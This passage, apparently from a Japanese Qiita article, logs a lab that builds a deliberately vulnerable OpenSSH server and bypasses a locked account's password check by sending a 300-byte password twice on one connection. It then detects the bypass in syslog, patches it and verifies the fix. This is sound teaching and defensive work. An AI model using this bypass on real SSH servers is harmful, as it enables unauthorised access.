    victim: ==> [victim] 確認用の現在状態:
    victim:     - sshd_config (抜粋):
    victim: PasswordAuthentication yes
    victim: PermitRootLogin prohibit-password
    victim:     - shadow (抜粋):
    victim: svc:<pw>:20773:0:99999:7:::
    victim: labuser:<pw>:20773:0:99999:7:::
    victim: ==> [victim] セットアップ完了。これで脆弱な状態です。
==> victim: Running provisioner: shell...
    victim: Running: C:/Users/alice/AppData/Local/Temp/vagrant-shell20261117-2340-gfz3ot.sh
    victim: ==> [vuln-sshd] mode=vuln: ビルド依存を導入
    victim: ==> [vuln-sshd] ソース取得 (openssh-9.6p1)
    victim:     try https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.6p1.tar.gz
    victim: ==> [vuln-sshd] mode=vuln: 脆弱な OpenSSH 9.6p1 をビルド
    victim:     同一接続の1回目は拒否・2回目で成立。attack.sh が1接続で複数回パスワードを送って再現する。
    victim: ==> [vuln-sshd] configure --without-pam (数分かかります)
    victim: ==> [vuln-sshd] make sshd
    victim: ==> [vuln-sshd] インストール (/opt/vulnssh)
    victim: ==> [vuln-sshd] syslog(=/var/log/messages) を有効化(sshd のログ出力先)
    victim: ==> [vuln-sshd] OpenRC サービス登録 (vulnsshd)
    victim:  * Caching service dependencies ... [ ok ]
    victim:  * Starting vulnsshd ... [ ok ]
    victim: ==> [vuln-sshd] mode=vuln: 2022番で待受中。完了。
==> attacker: Importing base box 'generic/alpine319'...
==> attacker: Matching MAC address for NAT networking...
==> attacker: Setting the name of the VM: xsshole-attacker
==> attacker: Fixed port collision for 22 => 2222. Now on port 2200.
==> attacker: Clearing any previously set network interfaces...
==> attacker: Preparing network interfaces based on configuration...
    attacker: Adapter 1: nat
    attacker: Adapter 2: hostonly
==> attacker: Forwarding ports...
    attacker: 22 (guest) => 2200 (host) (adapter 1)
==> attacker: Running 'pre-boot' VM customizations...
==> attacker: Booting VM...
==> attacker: Waiting for machine to boot. This may take a few minutes...
    attacker: SSH address: 127.0.0.1:2200
    attacker: SSH username: vagrant
    attacker: SSH auth method: private key
    attacker: Warning: Connection aborted. Retrying...
    attacker: Warning: Connection reset. Retrying...
    attacker:
    attacker: Vagrant insecure key detected. Vagrant will automatically replace
    attacker: this with a newly generated keypair for better security.
    attacker:
    attacker: Inserting generated public key within guest...
    attacker: Removing insecure key from the guest if it's present...
    attacker: Key inserted! Disconnecting and reconnecting using new SSH key...
==> attacker: Machine booted and ready!
==> attacker: Checking for guest additions in VM...
    attacker: The guest additions on this VM do not match the installed version of
    attacker: VirtualBox! In most cases this is fine, but in rare cases it can
    attacker: prevent things such as shared folders from working properly. If you see
    attacker: shared folder errors, please make sure the guest additions within the
    attacker: virtual machine match the version of VirtualBox you have installed on
    attacker: your host and reload your VM.
    attacker:
    attacker: Guest Additions Version: 7.0.10
    attacker: VirtualBox Version: 7.1
==> attacker: Setting hostname...
==> attacker: Configuring and enabling network interfaces...
==> attacker: Running provisioner: shell...
    attacker: Running: C:/Users/alice/AppData/Local/Temp/vagrant-shell20261117-2340-gjnavw.sh
    attacker: ==> [attacker] openssh クライアントと sshpass を導入
    attacker: fetch https://mirrors.edge.kernel.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
    attacker: fetch https://mirrors.edge.kernel.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz
    attacker: v3.18.12-200-g958a89d3006 [https://mirrors.edge.kernel.org/alpine/v3.18/main]
    attacker: v3.18.12-192-gb0b6b9a320c [https://mirrors.edge.kernel.org/alpine/v3.18/community]
    attacker: OK: 20139 distinct packages available
    attacker: (1/1) Installing sshpass (1.10-r0)
    attacker: Executing busybox-1.36.1-r15.trigger
    attacker: OK: 149 MiB in 118 packages
    attacker: ==> [attacker] 準備完了

c:\var\tst
λ vagrant ssh attacker -c 'sh -s' < scripts/attack.sh
==> [attack] svc@192.168.56.10:2022 に 300 バイトのパスワードでログイン試行
    (同一接続で最大 4 回プロンプトに応答。1 回目 NG → 2 回目 OK を想定)
Warning: Permanently added '[192.168.56.10]:2022' (ED25519) to the list of known hosts.
Permission denied, please try again.
Could not chdir to home directory /home/svc: No such file or directory
LOGGED IN AS: uid=1001(svc) gid=1001(svc) groups=1001(svc)
victim
----
==> [attack] 結果: ログイン成功 (exit=0) → 脆弱性が再現しています。

c:\var\tst
λ vagrant ssh victim -c 'sudo sh -s' < scripts/observe-logs.sh
==> [logs] /var/log/messages 内の 'Accepted password' 行:
Jan 10 01:36:56 alpine319 auth.info sshd[2125]: Accepted password for root from 10.0.2.2 port 33326 ssh2
Jan 10 01:39:26 alpine319 auth.info sshd[2144]: Accepted password for root from 10.0.2.2 port 33600 ssh2
Nov 16 17:12:09 victim auth.info sshd[10680]: Accepted password for vagrant from 10.0.2.2 port 63084 ssh2
Nov 16 17:12:43 victim auth.info sshd[10684]: Accepted password for svc from 192.168.56.20 port 57214 ssh2

==> [logs] shadow が '*'(ロック済)のアカウント一覧:
    svc

==> [logs] 突き合わせ: ログイン成功しているのに shadow が '*' のユーザ
    (これが出たら悪用された可能性が高い=強い検知シグナル)
    [!] svc: ロック済なのにパスワード認証成功の記録あり
==> [logs] 調査完了

c:\var\tst
λ vagrant ssh victim -c 'sudo sh -s' < scripts/patch.sh
==> [patch] 修正版(fixed: 長さガード付き)で脆弱sshdを再ビルド・置換します
==> [vuln-sshd] mode=fixed: ビルド依存を導入
==> [vuln-sshd] ソース取得 (openssh-9.6p1)
==> [vuln-sshd] 修正パッチを適用 (auth-passwd.c: copy + 長さガード, 公式 10.6p2 相当)
    適用箇所:
      204:      /* XSSHOLE lab (CVE-2026-123158) FIX: models OpenSSH 10.6p2.
      209:      char xsshole_pwbuf[512];
      210:      strlcpy(xsshole_pwbuf, pw_password, sizeof(xsshole_pwbuf));
      211:      pw_password = xsshole_pwbuf;
      213:              return 0;       /* XSSHOLE FIX: stored hash too short to be real (models MIN_PASSWORD_HASH_LEN) */
==> [vuln-sshd] configure --without-pam (数分かかります)
==> [vuln-sshd] make sshd
==> [vuln-sshd] インストール (/opt/vulnssh)
==> [vuln-sshd] syslog(=/var/log/messages) を有効化(sshd のログ出力先)
==> [vuln-sshd] OpenRC サービス登録 (vulnsshd)
 * Caching service dependencies ... [ ok ]
 * Stopping vulnsshd ... [ ok ]
 * Starting vulnsshd ... [ ok ]
==> [vuln-sshd] mode=fixed: 2022番で待受中。完了。
==> [patch] 完了。vulnsshd は長さガード入り(修正版)に置き換わりました。
    この後 verify-defense.sh を流すと、同じバイパス試行が失敗する(防御成功)はずです。

    --- 参考: 即時緩和(再ビルド不要の運用対策) ---
    # パスワード認証自体を止める(鍵認証のみに):
    #   sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /opt/vulnssh/etc/sshd_config
    #   rc-service vulnsshd restart

c:\var\tst
λ vagrant ssh attacker -c 'sh -s' < scripts/verify-defense.sh
==> [verify] パッチ後に同じバイパス試行を再実行します(失敗が期待値)
    svc@192.168.56.10:2022 に 300 バイトのパスワードでログイン試行
    (同一接続で最大 4 回プロンプトに応答。防御が効いていれば全て NG)
Warning: Permanently added '[192.168.56.10]:2022' (ED25519) to the list of known hosts.
Permission denied, please try again.
Permission denied, please try again.
Permission denied, please try again.
svc@192.168.56.10: Permission denied (publickey,password,keyboard-interactive).
====
==> [verify] 期待どおりバイパス試行は失敗しました (exit=255)。防御成功。

c:\var\tst
λ

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?